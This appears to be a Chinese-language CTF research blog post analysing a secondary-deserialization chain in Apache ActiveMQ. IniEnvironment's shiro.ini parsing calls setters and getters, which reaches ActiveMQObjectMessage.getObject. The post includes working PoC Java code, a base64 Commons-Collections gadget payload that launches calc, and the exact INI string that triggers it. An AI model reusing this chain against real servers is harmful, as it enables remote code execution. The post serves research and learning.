二次反序列化新链学习
前言
最近参加wmctf的,发现了一条能够二次反序列化的链子,在这里记录学习一下
链子分析
当时入口选择的是IniEnvironment,这个类还是很厉害的,构造方法就有一番新天地
IniEnvironment
我们关注一下这个类,调试分析一波
测试代码
package org.example;
import org.apache.activemq.shiro.env.IniEnvironment;
import static com.sun.org.apache.xml.internal.security.keys.keyresolver.KeyResolver.length;
public class s {
public static void main(String[] args) {
IniEnvironment iniEnvironment=new IniEnvironment("user=org.example.User\n" +
"user.name=\"ljl\"\n" +
"user.age=18\n" +
"user.age.a=1");
}
}
package org.example;
public class User {
private String name;
private int age;
// 构造函数
public User(){
}
public User(String name, int age) {
this.name = name;
this.age = age;
}
// Getter方法
public String getName() {
System.out.println("getName");
return name;
}
// Setter方法
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
// Getter方法
public int getAge() {
System.out.println("getAge");
return age;
}
// Setter方法
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
public void haha(){
System.out.println("123123");
}
}
运行后发现会调用setter和getter方法
调试分析
进入IniEnvironment构造方法
public IniEnvironment(String iniConfig) {
Ini ini = new Ini();
ini.load(iniConfig);
this.ini = ini;
this.init();
}
实例化一个ini对象去加载我们输入的内容
最后调用init方法初始化
public void init() throws ShiroException {
Ini ini = this.ini;
if (ini != null) {
this.apply(ini);
}
调用了apply方法适应内容
protected void apply(Ini ini) {
if (ini != null && !ini.isEmpty()) {
Map<String, ?> objects = this.createObjects(ini);
this.ini = ini;
this.objects.clear();
this.objects.putAll(objects);
}
其中调用了createObjects方法
private Map<String, ?> createObjects(Ini ini) {
IniSecurityManagerFactory factory = new IniSecurityManagerFactory(ini) {
protected SecurityManager createDefaultInstance() {
return new DefaultActiveMqSecurityManager();
}
protected Realm createRealm(Ini ini) {
IniRealm realm = (IniRealm)super.createRealm(ini);
realm.setPermissionResolver(new ActiveMQPermissionResolver());
return realm;
}
};
factory.getInstance();
return factory.getBeans();
}
内部构建了一个工厂类,并且调用getInstance实例化
buildInstances:181, IniSecurityManagerFactory (org.apache.shiro.config)
createSecurityManager:139, IniSecurityManagerFactory (org.apache.shiro.config)
createSecurityManager:107, IniSecurityManagerFactory (org.apache.shiro.config)
createInstance:98, IniSecurityManagerFactory (org.apache.shiro.config)
createInstance:47, IniSecurityManagerFactory (org.apache.shiro.config)
createInstance:150, IniFactorySupport (org.apache.shiro.config)
getInstance:47, AbstractFactory (org.apache.shiro.util)
createObjects:133, IniEnvironment (org.apache.activemq.shiro.env)
apply:111, IniEnvironment (org.apache.activemq.shiro.env)
init:76, IniEnvironment (org.apache.activemq.shiro.env)
<init>:56, IniEnvironment (org.apache.activemq.shiro.env)
main:9, s (org.example)
setter
一路到这里实例化完成后开始解析我们的输入了
private Map<String, ?> buildInstances(Ini.Section section) {
return this.getReflectionBuilder().buildObjects(section);
}
section如下
applyProperty:353, ReflectionBuilder (org.apache.shiro.config)
doExecute:999, ReflectionBuilder$AssignmentStatement (org.apache.shiro.config)
execute:931, ReflectionBuilder$Statement (org.apache.shiro.config)
execute:809, ReflectionBuilder$BeanConfigurationProcessor (org.apache.shiro.config)
buildObjects:288, ReflectionBuilder (org.apache.shiro.config)
一路到这开始解析我们的属性
protected void applyProperty(String key, String value, Map objects) {
int index = key.indexOf(46);
if (index >= 0) {
String name = key.substring(0, index);
String property = key.substring(index + 1, key.length());
if ("shiro".equalsIgnoreCase(name)) {
this.applyGlobalProperty(objects, property, value);
} else {
this.applySingleProperty(objects, name, property, value);
}
} else {
throw new IllegalArgumentException("All property keys must contain a '.' character. (e.g. myBean.property = value) These should already be separated out by buildObjects().");
}
}
之后不断调用applyProperty方法,其中调用了setProperty开始为对象赋值
其实后面过程也很容易明白就是调用对象的setter方法
setAge:36, User (org.example)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeMethod:2128, PropertyUtilsBean (org.apache.commons.beanutils)
setSimpleProperty:2109, PropertyUtilsBean (org.apache.commons.beanutils)
setNestedProperty:1915, PropertyUtilsBean (org.apache.commons.beanutils)
setProperty:2022, PropertyUtilsBean (org.apache.commons.beanutils)
setProperty:1018, BeanUtilsBean (org.apache.commons.beanutils)
setProperty:678, ReflectionBuilder
然后最后反射调用我们指定对象的setter方法
getter
getter方法需要调用属性值的写法
类似于这种
user.object.a=1
前面的流程都一样的,没有什么区别
主要是在
applyProperty:747, ReflectionBuilder (org.apache.shiro.config)地方
protected void applyProperty(Object object, String propertyName, String stringValue) {
Object value;
if ("null".equals(stringValue)) {
value = null;
} else if ("\"\"".equals(stringValue)) {
value = "";
} else {
String checked;
if (this.isIndexedPropertyAssignment(propertyName)) {
checked = this.checkForNullOrEmptyLiteral(stringValue);
value = this.resolveValue(checked);
} else if (this.isTypedProperty(object, propertyName, Set.class)) {
value = this.toSet(stringValue);
} else if (this.isTypedProperty(object, propertyName, Map.class)) {
value = this.toMap(stringValue);
} else if (this.isTypedProperty(object, propertyName, List.class)) {
value = this.toList(stringValue);
} else if (this.isTypedProperty(object, propertyName, Collection.class)) {
value = this.toCollection(stringValue);
} else if (this.isTypedProperty(object, propertyName, byte[].class)) {
value = this.toBytes(stringValue);
} else if (this.isTypedProperty(object, propertyName, ByteSource.class)) {
byte[] bytes = this.toBytes(stringValue);
value = Util.bytes(bytes);
} else {
checked = this.checkForNullOrEmptyLiteral(stringValue);
value = this.resolveValue(checked);
}
}
this.applyProperty(object, propertyName, value);
}
在getter方法中
走的是isTypedProperty
会调用getter方法
getAge:30, User (org.example)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeMethod:2128, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1279, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:809, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:885, PropertyUtilsBean (org.apache.commons.beanutils)
getPropertyDescriptor:936, PropertyUtilsBean (org.apache.commons.beanutils)
isTypedProperty:437, ReflectionBuilder (org.apache.shiro.config)
applyProperty:729, ReflectionBuilder (org.apache.shiro.config)
applySingleProperty:392, ReflectionBuilder (org.apache.shiro.config)
applyProperty:353, ReflectionBuilder (org.apache.shiro.config)
而setter是走的
最后的 this.applyProperty(object, propertyName, value);
参数控制
参数是shiro.ini的内容
参考
https://www.w3cschool.cn/shiro/h5it1if8.html
其中有两种写法
从之前的 Shiro 架构图可以看出,Shiro 是从根对象 SecurityManager 进行身份验证和授权的;也就是所有操作都是自它开始的,这个对象是线程安全且整个应用只需要一个即可,因此 Shiro 提供了 SecurityUtils 让我们绑定它为全局的,方便后续操作。
因为 Shiro 的类都是 POJO 的,因此都很容易放到任何 IoC 容器管理。但是和一般的 IoC 容器的区别在于,Shiro 从根对象 securityManager 开始导航;Shiro 支持的依赖注入:public 空参构造器对象的创建、setter 依赖注入。
1、纯 Java 代码写法(com.github.zhangkaitao.shiro.chapter4.NonConfigurationCreateTest):
DefaultSecurityManager securityManager = new DefaultSecurityManager();
//设置authenticator
ModularRealmAuthenticator authenticator = new ModularRealmAuthenticator();
authenticator.setAuthenticationStrategy(new AtLeastOneSuccessfulStrategy());
securityManager.setAuthenticator(authenticator);
//设置authorizer
ModularRealmAuthorizer authorizer = new ModularRealmAuthorizer();
authorizer.setPermissionResolver(new WildcardPermissionResolver());
securityManager.setAuthorizer(authorizer);
//设置Realm
DruidDataSource ds = new DruidDataSource();
ds.setDriverClassName("com.mysql.jdbc.Driver");
ds.setUrl("jdbc:mysql://localhost:3306/shiro");
ds.setUsername("root");
ds.setPassword("");
JdbcRealm jdbcRealm = new JdbcRealm();
jdbcRealm.setDataSource(ds);
jdbcRealm.setPermissionsLookupEnabled(true);
securityManager.setRealms(Arrays.asList((Realm) jdbcRealm));
//将SecurityManager设置到SecurityUtils 方便全局使用
SecurityUtils.setSecurityManager(securityManager);
Subject subject = SecurityUtils.getSubject();
UsernamePasswordToken token = new UsernamePasswordToken("zhang", "123");
subject.login(token);
Assert.assertTrue(subject.isAuthenticated());
2、等价的 INI 配置(shiro-config.ini)
[main]
\#authenticator
authenticator=org.apache.shiro.authc.pam.ModularRealmAuthenticator
authenticationStrategy=org.apache.shiro.authc.pam.AtLeastOneSuccessfulStrategy
authenticator.authenticationStrategy=$authenticationStrategy
securityManager.authenticator=$authenticator
\#authorizer
authorizer=org.apache.shiro.authz.ModularRealmAuthorizer
permissionResolver=org.apache.shiro.authz.permission.WildcardPermissionResolver
authorizer.permissionResolver=$permissionResolver
securityManager.authorizer=$authorizer
\#realm
dataSource=com.alibaba.druid.pool.DruidDataSource
dataSource.driverClassName=com.mysql.jdbc.Driver
dataSource.url=jdbc:mysql://localhost:3306/shiro
dataSource.username=root
\#dataSource.password=
jdbcRealm=org.apache.shiro.realm.jdbc.JdbcRealm
jdbcRealm.dataSource=$dataSource
jdbcRealm.permissionsLookupEnabled=true
securityManager.realms=$jdbcRealm
即使没接触过 IoC 容器的知识,如上配置也是很容易理解的:
- 对象名 = 全限定类名 相对于调用 public 无参构造器创建对象
- 对象名. 属性名 = 值 相当于调用 setter 方法设置常量值
- 对象名. 属性名 =$ 对象引用 相当于调用 setter 方法设置对象引用
所以能够调用对象的getter,setter方法
ActiveMQObjectMessage
这个是actinemq依赖的类
其中有一个属性是序列化的类型
而它的getObejct方法
是可以二次反序列化的,不过需要getContent内容可以控制
public Serializable getObject() throws JMSException {
if (object == null && getContent() != null) {
try {
ByteSequence content = getContent();
InputStream is = new ByteArrayInputStream(content);
if (isCompressed()) {
is = new InflaterInputStream(is);
}
DataInputStream dataIn = new DataInputStream(is);
ClassLoadingAwareObjectInputStream objIn = new ClassLoadingAwareObjectInputStream(dataIn);
objIn.setTrustedPackages(trustedPackages);
objIn.setTrustAllPackages(trustAllPackages);
try {
object = (Serializable)objIn.readObject();
} catch (ClassNotFoundException ce) {
throw JMSExceptionSupport.create("Failed to build body from content. Serializable class not available to broker. Reason: " + ce, ce);
} finally {
dataIn.close();
}
} catch (IOException e) {
throw JMSExceptionSupport.create("Failed to build body from bytes. Reason: " + e, e);
}
}
return this.object;
}
参数控制
我们回看参数是否可以控制
跟进getContent方法
是在父类Message中
public ByteSequence getContent() {
return content;
}
本质上是一个ByteSequence对象
protected ByteSequence content;
我们看ByteSequence如何构造
public ByteSequence(byte data[]) {
this.data = data;
this.offset = 0;
this.length = data.length;
}
接受一个byte对象,而且是public的
POC
二次反序列化我们就自己加一个cc的依赖
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
使用工具生成数据
数据如下
rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VxAH4AGAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=
shiro.ini如下
[main]
activeMQObjectMessage=org.apache.activemq.command.ActiveMQObjectMessage
byteSequence=org.apache.activemq.util.ByteSequence
byteSequence.data=内容
activeMQObjectMessage.content=$byteSequence
activeMQObjectMessage.trustAllPackages=true
activeMQObjectMessage.object.a=1
我真服了
POC
package org.example;
import org.apache.activemq.shiro.env.IniEnvironment;
public class doubleser {
public static void main(String[] args) {
IniEnvironment iniEnvironment=new IniEnvironment("[main]\n" +
"activeMQObjectMessage=org.apache.activemq.command.ActiveMQObjectMessage\n" +
"byteSequence=org.apache.activemq.util.ByteSequence\n" +
"byteSequence.data=内容" +
"activeMQObjectMessage.content=$byteSequence\n" +
"activeMQObjectMessage.trustAllPackages=true\n" +
"activeMQObjectMessage.object.a=1");
}
}
我服了,弹不出,不是只需要传入一个data就可以吗,之后尝试多传了一个length就可以了和offset,把参数全部给加上
POC
package org.example;
import org.apache.activemq.shiro.env.IniEnvironment;
public class doubleser {
public static void main(String[] args) {
IniEnvironment iniEnvironment=new IniEnvironment("[main]\n" +
"activeMQObjectMessage=org.apache.activemq.command.ActiveMQObjectMessage\n" +
"byteSequence=org.apache.activemq.util.ByteSequence\n" +
"byteSequence.data=内容\n" +
"byteSequence.length=1666\n" +
"byteSequence.offset=0\n" +
"activeMQObjectMessage.content=$byteSequence\n" +
"activeMQObjectMessage.trustAllPackages=true\n" +
"activeMQObjectMessage.object.a=1");
}
}
确实弹了计算器
调试分析一手
发现确实调用了构造方法
调用栈如下
newInstance:206, ClassUtils (org.apache.shiro.util)
newInstance:193, ClassUtils (org.apache.shiro.util)
createNewInstance:330, ReflectionBuilder (org.apache.shiro.config)
doExecute:971, ReflectionBuilder$InstantiationStatement (org.apache.shiro.config)
execute:931, ReflectionBuilder$Statement (org.apache.shiro.config)
execute:809, ReflectionBuilder$BeanConfigurationProcessor (org.apache.shiro.config)
buildObjects:288, ReflectionBuilder (org.apache.shiro.config)
buildInstances:181, IniSecurityManagerFactory (org.apache.shiro.config)
createSecurityManager:139, IniSecurityManagerFactory (org.apache.shiro.config)
createSecurityManager:107, IniSecurityManagerFactory (org.apache.shiro.config)
createInstance:98, IniSecurityManagerFactory (org.apache.shiro.config)
createInstance:47, IniSecurityManagerFactory (org.apache.shiro.config)
createInstance:150, IniFactorySupport (org.apache.shiro.config)
getInstance:47, AbstractFactory (org.apache.shiro.util)
createObjects:133, IniEnvironment (org.apache.activemq.shiro.env)
apply:111, IniEnvironment (org.apache.activemq.shiro.env)
init:76, IniEnvironment (org.apache.activemq.shiro.env)
<init>:56, IniEnvironment (org.apache.activemq.shiro.env)
main:7, doubleser (org.example)
发现调用的是无参的构造函数
public static Object newInstance(Class clazz) {
if (clazz == null) {
String msg = "Class method parameter cannot be null.";
throw new IllegalArgumentException(msg);
} else {
try {
return clazz.newInstance();
} catch (Exception var2) {
throw new InstantiationException("Unable to instantiate class [" + clazz.getName() + "]", var2);
}
}
}
之后的参数值是通过setter方法去赋值的
但是还是不知道为什只使用data不可以
有没有师傅解答一下